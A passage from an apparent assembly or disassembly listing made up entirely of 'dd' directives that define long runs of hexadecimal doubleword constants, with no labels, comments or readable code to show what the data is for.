757CD096h, 0B41079ADh, 77A31CC8h dd 8D6AE3F8h, 6CC80E91h, 0A6644FDBh, 55758508h, 18946832h dd 688388B4h, 0D6675ECBh, 0A7847C47h, 34056221h, 0E4141397h dd 3C856E04h, 7DF99F57h, 57D287C8h, 2C4DF6FEh, 8F6802Bh dd 5997D6FFh, 0A2B1A51h, 0A42673FDh, 0FD0026Fh, 25759487h dd 8FD01C18h, 95A805C6h, 0D23A170Bh, 66D4AB00h, 0E350AAA3h dd 0AC541D54h, 0AE453D07h, 5B04891h, 0B11D8880h, 20B21422h dd 33E83074h, 5541DDAAh, 0E908F5C1h, 3159029h, 15591FC8h dd 0DE067E0Dh, 155FB41Dh, 0EF18EB5Bh, 0BC7B2AC4h, 89A3B2B8h dd 0D10AF1Bh, 0E2DB11B8h, 0BD976687h, 88856D54h, 1308BC15h dd 9BDD9D0h, 0C2F019D6h, 30CD56FCh, 0B1BE9112h, 4213C2B3h dd 0C0151011h, 28445C48h, 460A8BFFh, 13C46852h, 7384300Bh dd 5D28ADFAh, 0FEB46EFFh, 4CE6F64Fh, 3312A5ADh, 12E9DA0Bh dd 5A52549Ah, 0FE44F579h, 427EC2E6h, 2AE85162h, 42C6B828h dd 50182687h, 689323FCh, 301FBE62h, 0A387821Ch, 0A1D7AF75h dd 3CC06BB5h, 0E8B6F07Bh, 75F70A13h, 14DD05ABh, 0A5833D51h dd 48765C14h, 6D465285h, 0C6864725h, 64858F94h, 8E39780Eh dd 0EB819721h, 32024C8h, 85888F88h, 49A84996h, 895CB0E4h dd 3EA3B85Ah, 0AAB5BC13h, 84BE5934h, 4B808E04h, 0C0C9D6F1h dd 11EE4A7Bh, 41B8E418h, 674C33Bh, 934DDA68h, 0E64F1743h dd 633C10D6h, 98B7898Fh, 0D286D847h, 10FAB734h, 0BCCEFEC0h dd 67477FF1h, 21BEA67Eh, 0D01E1E7Bh, 7B80D908h, 770CCF25h dd 79C92C9Ah, 67917FEBh, 0AE2E1C6Ah, 822F0D21h, 15D6C9ADh dd 74DCB80Eh, 8D458E6Dh, 0AA8407Eh, 0D8C87233h, 0F6330A10h dd 7EC0FEC2h, 6B114B26h, 0D0AE6A61h, 7546F4F7h, 60ECC44Fh dd 1431E5D7h, 0FB80AAF1h, 0AADA7CC0h, 60585D0Fh, 1010CE8Fh dd 2B84BBC4h, 6C6682C4h, 211D46ADh, 3853920Bh, 0E884108Ch dd 0CC918F87h, 230EFFD2h, 0BF8BB620h, 59F59330h, 2E4116Ah dd 0E24EC5B7h, 5E1A812Eh, 14DF694Fh, 0C445B569h, 3A75080Eh dd 48B29E37h, 0B84BACC7h, 0FCCCA1BCh, 0DE989012h, 7A8C83DDh dd 906A997Dh, 7FE4CBCCh, 0DE2498B2h, 65A421CCh, 0CF18FA1Dh dd 0E078841Ch, 0E77F2D27h, 28A8A944h, 89D81A3h, 9D2852EAh dd 0E811FE21h, 0BABDA6DBh, 0DFFA13Eh, 0E63C5242h, 39934DD3h dd 45129EA9h, 12AB58F2h, 41D4FFB8h, 0FB8478C0h, 0AF8B523Fh dd 418875D6h, 0BC75F1D8h, 58CC4943h, 1A7E02CEh, 0E7838DE8h dd 4B92A08h, 359488D4h, 7CD491EFh, 396BBBE6h, 0A301DF4Dh dd 5E0B6A55h, 5741CC6Fh, 5D5FE834h, 163E4B26h, 0F8C22BD4h dd 0BA5A9BC3h, 9A20EC53h, 4F19B74Fh, 62CEE54Eh, 52BC2667h dd 0D56BAC23h, 0EB24E596h, 64F138A1h, 8242A50Ch, 64466CBCh dd 611B97C4h, 0A2677DF5h, 6C13A197h, 3985A2D3h, 8E101CECh dd 1488C5B7h, 0AA920770h, 1202E31h, 0B9C3E0Dh, 459BA6B8h dd 0A2C06D0Ah, 707916ECh, 880D659Fh, 0FAD863CFh, 789DA41Ah dd 5B5843F0h, 4E54BD6Ch, 7593E606h, 7EB5BFC4h, 0E6D669BFh dd 0C2681EF1h, 54FD92A7h, 535E272Dh, 0AC197EC7h, 310C28E5h dd 8D1D90BFh, 9BF42AB5h, 0B8DF4B8Bh, 0AC88F43Fh, 0B6746106h dd 2B51FC4Dh, 5027C1B2h, 83631754h, 754BD8C6h, 9D31ACD7h dd 25BD1D59h, 0C83CDC36h, 6422321Ch, 1A2AB2F7h, 1C1E0424h dd 0E98F228h, 904F0C75h, 0BC13E716h, 661148CBh, 85F8C973h dd 48A27F97h, 0D07B2022h dd 2556F088h, 0AB5F5753h, 0EDF98994h, 925F162Fh, 2FD0FE30h dd 62DAA6AFh, 43A6B6F5h, 806410E4h, 622911BBh, 181954B1h dd 8B7B4AB2h, 8F6EA863h, 231DF464h, 0A8B7C810h, 88141E79h dd 32C2B01Bh, 657C9BE8h, 25423F1Ah, 90724D10h, 42B420B2h dd 9110C8E0h, 40E422E2h, 0E989E8E6h, 75FEEA08h, 265EF046h dd 0CE664DD5h, 313AD42Ah, 0D90850D8h, 0CC6E3202h, 0BEC0E8DAh dd 0F2DE90E0h, 0C44016F8h, 11C08914h, 0F80898F5h, 13F28B17h dd 0A8404CEFh, 0E817DC67h, 0DCDA7F43h, 25E4CCCFh, 0F51B287Fh dd 0D9D0880Ah, 59C93F6Ah, 3E45F421h, 0ECB2DFE3h, 61F79F15h dd 5857CC08h, 88D88E6h, 0DC647230h, 2C57E004h, 1034A5C3h dd 0AFB2C860h, 2323DF1Ch, 71EAE27Bh, 463CBD1Bh, 0DFF18A7Dh dd 0F4F2B011h, 7927431Ch, 3BFC8585h, 0C8DEF4C6h, 0A8F84086h dd 0DD0ABB89h, 93846450h, 46AD387Dh, 0DEF48816h, 626FD021h dd 96C57C45h, 98E23A9Eh, 7D9C2FA8h, 0DABCDE9Eh, 84FD0D58h dd 94F21C46h, 43CD14F7h, 0FE6C1365h, 12C22A6h, 0D1E8D8A9h dd 59583B92h, 3FB3A4B0h, 0B5D2A67h, 6CC443FEh, 0A62CF0A4h dd 7CB527DEh, 0FC96154Fh, 446CAF7Ch, 5E477AFEh, 11FC427Eh dd 38415A5h, 98252E78h, 59E9B0D7h, 3FA56E83h, 49D25E52h dd 2605A865h, 6868CBBh, 5A079AB0h, 89AC7D8Dh, 98FE5249h dd 6B804151h, 9984F293h, 1A888855h, 0EB1088Ch, 940C0C90h dd 98101143h, 299CC416h, 143AA031h, 9FA4EA83h, 33ABB0A3h dd 0B40ED48Eh, 2EB80633h, 292082BCh, 0C48E178Ch, 3FC76182h dd 0CC4D1B89h, 0D80CD5ACh, 1AA8AB5Eh, 0BE85782h, 26B2C8D6h dd 58697DFCh, 389C7E48h, 0E1588AB8h, 79EA929Fh, 0F1D4AF8Eh dd 5D728DC6h, 1A4A1656h, 17CC6718h, 82F5129Fh, 4977D3A4h dd 0C93D3D82h, 18549D6Bh, 81A1025h, 3B9A6F68h, 85FB3573h dd 9989AE27h, 0D2F3A23Bh, 1AD0A2EAh, 0F1522BD7h, 170CC4E1h dd 497F05BDh, 9909A991h, 0CDC8CB8Bh, 4FDC25F4h, 18E2C101h dd 4A3AD00Bh, 0CC1A7711h, 6AFAAC1Ah, 0A4B91384h, 0DC0DA41Fh dd 0C28B1E5h, 308404DDh, 5352E8D4h, 2FE0124Fh, 16DD3349h dd 27448BFCh, 304CB095h, 0E2395665h, 0DE2CB98Bh, 0E8E405CAh dd 0E290820h, 8AE58149h, 0A2229584h, 0E545880Dh, 4A8E7CFDh dd 7FECE922h, 7F64272Fh, 0C536AA6Eh, 5250D31Bh, 15B5044Dh dd 764EF85h, 6BD7DE24h, 2FAFBC3Dh, 0E9299914h, 5131E61Ah dd 3D7B728Eh, 0F8E6BECh, 40161B48h, 2121CA04h, 0FDC08B68h dd 61C5D171h, 890E5801h, 0DCFE9CB0h, 0A760C4D1h, 7E7056E4h dd 5897D750h, 9C397A6Bh, 0BF9C95D0h, 0C0C46642h, 654444FBh dd 2F79D621h, 85584B98h, 44FBC008h, 30C46254h, 9788FDC0h dd 0FBFC8E5Bh, 12C22284h, 89A571BFh, 0C8D6751Dh, 5359427Ah dd 0A1759E31h, 0CF17E68h, 7187580Ch, 44211E19h, 34749FC2h dd 9584F09Dh, 5E53CDB4h, 64EC1071h, 1078E784h, 3D649A6Eh dd 5AA90870h, 8511D4D8h, 0B4A42F91h, 9888BC03h, 403F8575h dd 65529953h, 0A6906DBEh, 5D0B8120h, 0D0131108h, 8775EF32h dd 249952Eh, 202AAF2h, 867E286Ah, 69CD6E25h, 0B1D1749Dh dd 0C4DA72ADh, 0D4DA5D08h, 0DD30B0DEh, 74DE0284h, 7873E82Dh dd 0C11E907Ah, 699908E6h, 5F0C0315h, 0D3559085h, 0E0059EF9h dd 7116EB5Eh, 2E6B6DD9h, 1935BD2Dh, 0C8C06F20h, 18B248CCh dd 1A7F7EE4h, 0E57C6722h, 0B506EB50h, 49DCB9A9h, 69E8EA70h dd 5F94102h, 3219E8F1h, 6A852521h, 7DDADDA8h, 7754E19Fh dd 0F8E1647Bh, 0AF020EDh, 5CEB02F5h, 0B08C6220h, 81FCE11h dd 0E43CEB10h, 14AE3284h, 0EEED257Bh, 0F05911D4h, 5EE8EFFBh dd 7768F538h, 8AF44384h, 0E019E3F6h, 0F8049C0Ch, 0FA3754EBh dd 20F809CCh, 62ECB0A0h, 6A54EA4h, 8DA63116h, 38206A48h dd 8147A16Bh, 0B2777C39h, 800CCCDCh, 0D284381Eh, 82AED836h dd 81F80CEBh, 3342A3D4h, 0B39643BDh, 0A52E5175h, 45B08225h dd 9300F688h, 60AD9873h, 453D528Eh, 0CFC2DE23h, 11AE7380h dd 3D2E91BCh, 0E0CA4B3Ch, 3AFDBAC4h, 0C4FDC411h, 0C021649Ch dd 0E6110BFBh, 6C2B9376h, 6C57ADC4h, 0C40E42D8h, 2E3D7133h dd 0B24AE93Eh, 0EC984BE1h, 88FD42C4h, 6591C844h, 5B8C8C4Ch dd 0ECCD754Bh, 1CF2910Ah, 8447433Ch, 69B970A2h, 2EA6F1B4h dd 0B2B09DD4h, 0F8F79AF8h, 9418507Eh, 0E9D10957h, 89DE3C8Dh dd 1384F525h, 0EC3B66F7h, 28A1B0Bh, 2A695A88h, 8B238008h dd 97E681CEh, 0F99014DCh, 0EF5E7E7Bh, 0B92FF8E1h, 9F5D2715h dd 737D6254h, 264F3F17h, 53D0891Fh, 72FC343Fh, 2569A1C6h dd 0C629C481h, 78216BCEh, 744A0865h, 560F885Dh, 8C0D3AD8h dd 0E86F9821h, 0C9336FB8h, 4B353E69h, 0BADF17BBh, 65D65C49h dd 978B251Bh, 7C54BA55h, 1F8E335Dh, 0BF59FB06h, 810C0578h dd 337009E7h, 41BB25E8h, 0D8C602DCh, 0B970F838h, 0A0BE84DDh dd 0D2A4BD05h, 8515ACDAh, 0BD58CBA0h, 0FF0DC235h, 7512C8A2h dd 0EDD2FB59h, 0D29824ECh, 3F937CFAh, 0BE1124EDh, 8C91ECE2h dd 1850D699h, 45B6140Fh, 9D21059Eh, 0F3EF9C12h, 58BF4A4Ch dd 732F8629h, 0EB181484h, 0C8C21613h, 43224CE7h, 13398879h dd 0F471632Eh, 76A8AB20h, 0C563C24h, 0AC1BDED8h, 8BE51E10h dd 0E8AE1FE1h, 0DC87353h, 47CD9CB0h, 898564B8h, 0B2B27083h dd 3A31405Dh, 0B508E4B4h, 0C2B657A4h, 1BE8BC36h, 0E5C02A91h dd 0C2094812h, 3C8B09F2h, 121C410h, 0CC86C898h, 0E8256966h dd 0F00CB985h, 186DCE9Eh, 28992047h, 998A11C2h, 8C0CBC0Eh dd 0B965D67Ah, 787DD019h, 99AD2A9h, 0C0771DD4h, 5857E800h dd 0B6CDF7FDh, 5F066243h, 5E642A96h, 89350BB8h, 0CA18855h dd 8C68BC03h, 4AC97E05h, 5CC88858h, 5DF1C689h, 0EB060D93h dd 5EE65977h, 0AC1AB31Dh, 4C0449Fh, 74227C99h, 0B3985724h dd 311AA88h, 65986851h, 0BCE0229Dh, 0D2F5D915h, 882EB42Dh dd 7958AF5Ch, 0A5ADD99Fh, 0FCFC18E4h, 0E420E927h, 0D5F8589Ah dd 84E2BAA4h, 58A614C8h, 1B9B844h, 3E54572Ch, 4C6F225h dd 240235C8h, 842434D4h, 41012E9h, 0B982C7E0h, 0EA48D214h dd 2146237h, 4204561Ah, 601065ACh, 57C5BF71h, 0B10A7A89h dd 1C6CD8C0h, 0FD4FD749h, 4854A3B4h, 235BC275h, 0F7C45719h dd 75F483D1h, 0AC86351Ah, 67EB82E9h, 470C5484h, 66FE3359h dd 166BC9E9h, 0F2EC4D8Dh, 0B0E1924Bh, 0E71C347Fh, 0AC0E238Bh dd 0EB733188h, 7BA16E1Bh, 20E23038h, 14081DB1h, 4DB86126h dd 0B292C2B0h, 0D6572733h, 3545CBCBh, 0DC274021h, 0B6652D00h dd 0B3E2E016h, 0A21C1841h, 296642DCh, 3909466Ah, 741112BDh dd 261D213Eh, 621012D6h, 0DB7F8C20h, 522E09CEh, 8B750A1Ah dd 6BF65BFFh, 0C857C22h, 13E4258Fh, 9589BB6Fh, 89937430h dd 5446EBEh, 268C05EBh, 803D5839h, 0F06452C8h, 457CC44h dd 53746CFCh, 53803811h, 0D4217CB2h, 22D2443Dh, 96D011D1h dd 7977AC4Fh, 92646FE4h, 76CEAC33h, 775CD21h, 0F505C656h dd 0A076BCE9h, 0DACAA366h, 0F448491Bh, 17CBCC05h, 6C657A01h dd 0D04E13CEh, 0E918089h, 2B1132D1h, 3B732BD2h, 1EE1D41Eh dd 3CD814E0h, 8CFDFC4Eh, 88E24350h, 6E4F31E8h, 101523EFh dd 3C6F90D1h, 980EF292h, 0D010E828h, 7E46B843h, 0E877DE22h dd 0BDA22AAEh, 15C357DCh, 9CDD4BDCh, 0A3880455h, 3C2AA1E0h dd 0FB0AF708h, 0EE46852h dd 3B6BDC09h, 40FDCC20h, 0D2E75628h, 0D31EB369h, 3594C9BAh dd 94FC6221h, 14D8F293h, 0FD6D8022h, 29578602h, 4BFB5176h dd 21211FF4h, 10F66989h, 0DD59E8A7h, 0D27E344Fh, 2C72C642h dd 0EE58F175h, 0FF561AC2h, 682D494Dh, 73232B71h, 0E36E3D84h dd 0AA2D48AFh, 2F0DFB78h, 95648BA6h, 400CF756h, 6540EC52h dd 0CFAC4EEBh, 0B5E8B0C5h, 73C8966Ch, 0E98A7F2h, 1C97FDF0h dd 0DB474F2Ah, 67C81080h, 2E6D8A84h, 0B1314FCEh, 0D818067Ah dd 25E46842h, 4213AA9Ah, 2FD78DEBh, 3EE639AEh, 5DE91222h dd 0E5FF14CAh, 0AD62723h, 274C5C6Bh, 0F1BF4CC6h, 4BDF49D9h dd 0C37A46D5h, 0E230FC5Fh, 4C53556Ah, 4B39FE2Fh, 0BD5090FFh dd 8E7BF7F0h, 83050F92h, 58EBC7C8h, 705BCF57h, 8B043A48h dd 0AA4D4A7Bh, 1B6C4771h, 1A93110Ch, 195B22B2h, 0A00B3B74h dd 162B5608h, 0CA2AB804h, 70E96FCh, 0B2FF1210h, 0E08B4409h dd 945198ABh, 7F5D7144h, 0FD2F29F1h, 5F0CC94Eh, 5841A7CCh dd 0B3BE842Fh, 14EC88A6h, 0D159EB08h, 0A356D0D7h, 4C5DEE58h dd 0A6FFD2CDh, 6145501Ch, 13C86C4Ah, 0D619486Ah, 0ECFF4170h dd 0D7A69D89h, 12844D34h, 0FCF4EF37h, 2164C749h, 5E2F2099h dd 591564B3h, 16127C14h, 54804510h, 43880717h, 508C1035h dd 315190C4h, 980C5894h, 9C106E43h, 77A0C471h, 0C87A431h dd 108943A8h, 0B0C48BACh, 0BBB4308Fh, 0B8218401h, 10BC9CBDh dd 99C08204h, 0DCC41005h, 0B8C81086h, 0EACC8206h, 3DD0100Ch dd 0D4080D42h, 0D8411388h, 0DC081A0Bh, 81F4021h, 0F38B90E0h dd 1528E3ABh, 6003E418h, 0A277E825h, 6AFC5D21h, 10585CDAh dd 0C4E5DF64h, 8D63A882h, 0F20552BCh, 84AA663Dh, 922EB308h dd 0AD35FA53h, 2ED089EEh, 58E4CD72h, 0F1517750h, 4854045h dd 7E4282EBh, 0C1496976h, 0CB62F83Fh, 0CF5D39C7h, 0D318BB73h dd 248907D4h, 465E0D84h, 45AC283h, 797034B0h, 5CBF247Ch dd 205DAF93h, 85E85741h, 0A51E946Ah, 0DDF40124h, 0FD9D055Ch dd 0E3A19FC0h, 8BFB770Ch, 0A5BD2C73h, 0C8FC15EAh, 0BB41F42Ch dd 6824E69h, 417C6A46h, 32CC1A64h, 34E82F53h, 9EC93F50h dd 7A657450h, 0F62189CBh, 7C1C09F8h, 2D4343E2h, 0E8F3A0E4h dd 52671732h, 0C63482BEh, 45108205h, 0CAF0E656h, 999B011Ah dd 0ACF90E06h, 0E6132D29h, 2D949185h, 11784F36h, 42FCA366h dd 7880240Eh, 46CB5737h, 0FA32C8C2h, 0FE90E1AFh, 8D750F94h dd 2E508A77h, 2837A621h, 0C1081605h, 1C5DFEE0h, 9E37EA5h dd 0CF45E7C8h, 45EE0408h, 9FBEA808h, 881BE17Bh, 0B0DA191Dh dd 0CC53565Fh, 0E81D1AA8h, 8B896263h, 0C11E14F8h, 867690E7h dd 0A503103Fh, 7B3C6657h, 0A045C5A3h, 7D480118h, 700F2408h dd 14286A60h, 66650EA2h, 8C1FF0AEh, 2893533Dh, 0A337071Eh dd 3DC20D0Eh, 3866A434h, 393EE350h, 0C5CF7D41h, 25083AA3h dd 914149A1h, 20F9920h, 3A52245Dh, 95821222h, 2F4605EBh dd 75143962h, 0E88E812Fh, 692336CBh, 120C4AD9h, 0D2D193A1h dd 195DA430h, 0C383024Ah, 5E421FEBh, 0E8100411h, 9F9E3695h dd 0BFA4A329h, 6E5705A4h, 598510CAh, 0BE59F06Ah, 3CBF53A0h dd 252C4ACh, 801C2207h, 48A5F3E3h, 9A42B3BEh, 25480B96h dd 0C1D5F342h, 0AD4D30E3h, 13E82900h, 0B48E995Ch, 14305E1Ch dd 0BF96D068h, 35FF3581h, 624F0C76h, 317881C0h, 0F255F92h dd 0ACE2FD8Ch, 75A4AC53h, 76E1F7F2h, 7DA82E10h, 16FDC2C4h dd 92B88009h, 0A7E679BBh, 0BEE6195Dh, 3613FB2Eh, 0FF0052AFh dd 571EFDD2h, 9A25F972h, 6084CC6Fh, 0F703CF0Fh, 7030FE81h dd 0DF7C48E3h, 2424BEBh, 0F66953E0h, 0BC092D8Bh, 149E4785h dd 8C104B3Bh, 176C7E64h, 88E11673h, 3FC79F68h, 0D8E4868Dh dd 3852E5EAh, 0CE296840h, 1F032412h, 5A42949Ch, 136724F6h dd 81DFAA80h, 6ED50469h, 491E2181h, 30D7F042h, 46188D36h dd 68545018h, 9D37B0FCh, 0ECEDAD4h, 13C1102h, 7B5C9D70h dd 48DC215Ch, 0B8382C10h, 27BF4246h, 0C2385DB6h, 564A5310h dd 0F35B5CA2h, 5CBB0598h, 33EF4D32h, 0F2D2BE8Fh, 0AD3B18C9h dd 6E0557E0h, 81121783h, 0C640ECEh, 3BDF052Bh, 0EAE37DDEh dd 24CA712Ah, 1E5792C8h, 36671442h, 5216282Fh, 22D14E82h dd 83D67A3Ah, 5298CCAAh, 0F3156F51h, 0FF651214h, 0B858D9F3h dd 0F0338348h, 5082888h, 9B3D5222h, 39F27C01h, 6010244Ch dd 23B75195h, 655C6848h, 21413C1h, 47F4E804h, 486837A3h dd 21652B7Dh, 6D225989h, 53C2561Ch, 29E432ACh, 1402977h dd 55395F1Ch, 0F8284D28h, 0B8897A5Dh, 0F4B85EA9h, 1E247512h dd 0E8104252h, 8C68ECC3h, 0BA0F974Bh, 9529F1E4h, 0AE80135Fh dd 16096C95h, 0A0EBF917h, 64842FAEh, 0FCC1EDF4h, 0D17B0374h dd 260865BEh, 3BE7663Bh, 527D241Eh, 623C45B3h, 22DF1936h dd 9A137568h, 541A823Ch, 2B5C6E2Dh, 9576571Ah, 23887256h dd 8492DACFh, 0BB5480BCh, 0A62F0253h, 68FF9075h, 139DA470h dd 0D06512E8h, 75395978h, 0A4E0F04Bh, 951BA456h, 4F4848F6h dd 0D8094B23h, 0FC77EC46h, 35584FCh, 61C1DF6Ah, 512E7E60h dd 0B7CCEC4Eh, 64A86863h, 0FF203CC9h, 0FE3BE521h, 0FD4A03Ah dd 590B842Fh, 91B42C96h, 0A79793Ch, 0C19F4AAh, 30F4120Ch dd 840F883h, 10770AF0h, 6529186Ah, 0EB65A4BBh, 0DB330219h dd 3B118021h, 90A23BC6h, 4A01A310h, 1A560B0Ch, 98919580h dd 4AED7284h, 4BE84894h, 0F37E0851h, 30F05E69h, 64AA9C57h dd 49A55228h, 75896A86h, 9040068Ch, 70988194h, 6CB9CCFh dd 57D928A0h, 5705E464h, 59DCFA01h, 0F8B55B04h, 145C4F9h dd 3CCE8816h, 441C13D6h, 6C1CCC16h, 0DFD75752h, 0A5EAFA3Dh dd 31FE7C2Ah, 0A41B8440h, 740BDE43h, 0E066D514h, 311E5352h dd 0D88B9158h, 0BDF07DC8h, 0F3B63D0h, 8F4B3AFh, 56C3F8F9h dd 3EF39C1h, 8902E089h, 809C515Dh, 3638548Dh, 3DE7C083h dd 0CEDA2AB9h, 2B2F3FABh, 7D257D40h, 0B0D834B0h, 4D4C42E1h dd 11C24A6Ah, 4CD47E75h, 0D3A4A820h, 0AC654DFCh, 36F5B437h dd 2E92B6D9h, 0CF23EAB8h, 0C40628C0h, 0C5C85AD7h, 10CEFE47h dd 6074080Bh, 51560C40h, 6AD00AC3h, 5750B20Eh, 0C69DD5C6h dd 51929504h, 223FC5FFh, 181852C1h, 0E645C643h, 18451C0Ah dd 0BAE8FC12h, 0C1FB5712h, 36265DADh, 902F18E4h, 22034CB5h dd 0F6A1B4F0h, 0C60A4C57h, 0B12EB29h, 5EAF1EA3h, 4BC15A82h dd 9FC66834h, 4D9DB8E0h, 177CAB60h, 27A06878h, 91B1938h dd 4D66B0E2h, 90B58421h, 0DEEC5FFBh, 0B6E9A462h, 2EB281F4h dd 9C1855D4h, 0B6BA5312h, 40A6815h, 0B6901014h, 0C00C3449h dd 0DE55C33Bh, 0CB81E923h, 2C6ACFE8h, 2C0E6829h, 0E05D3940h dd 22D75774h, 352CBF18h, 0FCD11174h, 21FC29ECh, 97955825h dd 0D75D5061h, 28E8C908h, 0DBF92F5Eh, 0A374F805h, 0AF181008h dd 684BD2DEh, 68E95B53h, 0C8E5DA14h, 0BC10656Fh, 4C0C8ACFh dd 905EE452h, 1BE8193Dh, 6A4D716Ch, 0B3B1FF4h, 0B9057FCBh dd 8DBFB4DAh, 188AB487h, 4144E0B8h, 0CD044E89h, 74A26846h dd 82100E28h, 6145E37h, 35201078h, 0FBA02524h, 0C828FE88h dd 2A102906h, 64BB2B29h, 560E212Dh, 8E43715Bh, 3D3454D5h dd 251D2F49h, 687EA212h, 211F9F19h, 0E8F878CAh, 6958F62Fh dd 0D9CF0BFh, 0C4696B59h, 0E4342B0Bh, 0CBFF8513h, 66F55AD0h dd 32A5FC4Fh, 641DFCF9h dd 54E26DC9h, 54FCCA52h, 0D4748410h, 0F313B6B7h, 951E2C52h dd 5C2FA1F9h, 238CFC1Ch, 0D56F5C1Fh, 0B2AFE597h, 944C4318h dd 8FCC8F9h, 14446A22h, 8E1A028h, 41038918h, 265758FCh dd 6C42B9F5h, 2D6A8456h, 0C8ED2639h, 6860049Ch, 0C4AC3941h dd 8D0635F5h, 74CCE524h, 13BE015Ah, 0F905D442h, 46A8DA4h dd 293E1F20h, 10715B40h, 14292E33h, 240E711Bh, 8FA73E45h dd 0ACA3166Ah, 26E825ECh, 474556B1h, 46116EABh, 0DA0B8846h dd 0F4423F45h, 3A012903h, 35BC1D39h, 0F9BD0726h, 417F4D4Ah dd 57110128h, 0BE1441B8h, 0BF0B84C8h, 0EC127AC0h, 17198E34h dd 0E43067B4h, 0C604B576h, 0C8FB52A4h, 15991085h, 0BF2CD836h dd 0B5347718h, 62477997h, 9742068Bh, 8CCCC6D5h, 367CBD28h dd 359D749h, 0FCACCE92h, 0CC101143h, 59F984C9h, 6A9A80BCh dd 70211ECBh, 900CBDDFh, 6C34646Ah, 0C346042h, 12B5AEB3h dd 3304DA9Bh, 5E062E13h, 0E42FC899h, 0D318EB0Fh, 0E8333D6Ah dd 156453A1h, 68491E30h, 0AF9C7ABCh, 0B44D191h, 8AC6F653h dd 82F1257h, 0FD909742h, 57FC6C63h, 5D3F4813h, 0B2364EFh dd 0CA475313h, 213F1208h, 404A3116h, 0B9892FF6h, 0E498DFBDh dd 3CEBD154h, 4AA1DAA5h, 55CF542h, 28113453h, 3E43CB47h dd 22F5F984h, 5FFC7528h, 718C650h, 8DF45E39h, 39043946h dd 7F25F191h, 0EFD703B3h, 9AEFC365h, 5F74129Fh, 9331DCFAh dd 63DE5946h, 0CCFEE135h, 0F1BD7415h, 897DAFE3h, 17ECF572h dd 79227427h, 0B1FD49E7h, 96195701h, 5DFD0B51h, 2738292h dd 866FFB77h, 0C811B4B8h, 0CABAE83Eh, 6D8828B2h, 32FE4C62h dd 0EC1CBC50h, 5A7CB089h, 222FFD89h, 0B5C42BFh, 0DD59D889h dd 758B820Eh, 0EE4CD740h, 483C6880h, 0DB85887Bh, 288CBB5Bh dd 34F8627Dh, 1B92571Bh, 4E970F70h, 0A69EA0A1h, 0A44EBF3Dh dd 0D114EE42h, 0F02E20F4h, 0BF57173Dh, 0D7FCD63Dh, 3F6D8843h dd 0DDF88388h, 0C90A3C9h, 115577C8h, 246DE242h, 0B98AFE59h dd 56C3D862h, 970696FDh, 0A0D3FAEEh, 565DB4ABh, 0E3A834A4h dd 0CEBF581Ch, 0F8EE4FA9h, 0AEEF4D0h, 0EB8D3817h, 24E3985Fh dd 69308261h, 0C59B3CA8h, 5814748Ah, 0E80A01CFh, 0B93A5580h dd 0A375142Bh, 98D8C938h, 825AB2B1h, 0C31FC212h, 0D83C7F88h dd 388FF3AAh, 0F4B34E42h, 9F0A04C4h, 830423BDh, 895BF633h dd 5DF9625Eh, 0B0983F77h, 96E9ED4Eh, 0E81D6CFFh, 0BE0A7524h dd 0E9137C10h, 0E361EFB9h, 1C0156D0h, 957E0A57h, 5A4B6659h dd 263DD2E8h, 0D44B8851h, 74CC52FDh, 4584187Ch, 0E43C9B7Bh dd 98EF9C62h, 4ED6D038h, 0B24014A3h, 4FE6BFD2h, 856BE9B5h dd 0BE11536Fh, 51093E91h, 0AF8AD04h, 140D848Ah, 76653C1Dh dd 0EE5F1671h, 0FC0D7E70h, 198184F9h, 4D5C9041h, 0F85BDB3Bh dd 0CD76C22Bh, 0BCE55F53h, 778CF634h, 0AD05BCE9h, 53452356h dd 8FBA3225h, 85BD4FB5h, 23C4549Bh, 355884D6h, 5F837108h dd 0FC64232Eh, 2EB51E24h, 4C12BF4Ah, 0BFB4C5ACh, 0AFEA9367h dd 0B9040EECh, 7BE004C6h, 0CAF74943h, 0BC1213D4h, 4398A6AEh dd 3AC81243h, 0FC4114B2h, 1A8376E6h, 68D0D93Ch, 859506Eh dd 0A43F4FFBh, 67133797h, 0F2F30F9Dh, 207FC20Eh, 8B449256h dd 0D10D5826h, 7C884CC3h, 1924E989h, 3807EC55h, 8FFBB8E5h dd 41FF4B51h, 6818755Dh, 916FA3A4h, 59459E20h, 57E9AAD3h dd 0EC262BD4h, 0D3FE39E4h, 2138A2BFh, 0AF8D5ABFh, 3B1D2368h dd 0F90312C7h, 6A6C6F98h, 0E8419BF5h, 1B55552Ch, 0D8F7F344h dd 0C4BD2CC5h, 1732AE96h, 7FF519E0h, 306B93E6h, 8C1B1657h dd 88B55114h, 6151A76Fh, 19956ABh, 1E48F0D5h, 161CA657h dd 64F45511h, 8C30A040h, 0D08BAC44h, 0A1220B4Eh, 33EC296Fh dd 8B2638E2h, 455E228Ah, 92437868h, 828E804h, 0FFD30BE8h dd 17C01549h, 0C9781090h, 14AB9967h, 92B0E743h, 0AA984E20h dd 2C9ABE4Ch, 0EA51392Eh, 0CF0E626h, 4DFE3B26h, 29FF0716h dd 36C31945h, 0E8A80561h, 24CE529Fh, 60BE3677h, 599DA7D1h dd 435348F8h, 1B7638DBh, 9AF00F25h, 42413631h, 0ACF34F5Eh dd 63E0F69Ah, 918F5957h, 44FAD740h, 0A7F85DD1h, 0FD3C1265h dd 5CC37CEAh, 32D1F5ACh, 61FAD607h, 0C2566B73h, 51C6FC55h dd 2F242A53h, 345FD0FCh, 501CE22h, 0DC680775h, 46EBA390h dd 215E9350h, 28D89B43h, 52648712h, 908D2DFAh, 0F092AC50h dd 6CB7E0A1h, 56E82C3Bh, 4B86AE88h, 6BA40754h, 427C8C08h dd 0EE10FB3Ch, 0FC458655h, 3C133E77h, 8445BCEBh, 3EA652DEh dd 71D72169h, 4455EB9Bh, 649A4550h, 364D747Bh, 4B24423Eh dd 0CC84BEACh, 7DD71D6Fh, 245B09FCh, 0F962AF4Bh, 7732FFF4h dd 0AC6655Fh, 0C28098EBh, 0FE466068h, 53856954h, 46DF12A4h dd 584EF6AFh, 3888FE40h, 0AE148237h, 6423664Ah, 4D0DC1FCh dd 0FF2B343Bh, 0E4044B8Bh, 5050B0E8h, 0C1E94A83h, 0A21BED6h dd 5D0D05ACh, 44844E08h, 26847C7Bh, 0C27954EEh, 8308EC5Dh dd 9B36ECD6h, 886A379h, 6232EDE0h, 9A885DFCh, 4C81438Ch dd 81EC963h, 8F6CF576h, 0F9978421h, 0EB10E463h, 0B91727CAh dd 2769A6AAh, 0E2AFF434h, 58E0F633h, 0AF9DA4B8h, 77EB16E6h dd 0E4354287h, 153B7752h, 0BB8C4B38h, 44180E8h, 2452394h dd 49982551h, 0D86A522h, 73E01446h, 0F496195Dh, 41C5FA96h dd 0E3227EA8h, 0C5751A0Bh, 0AE3435F1h, 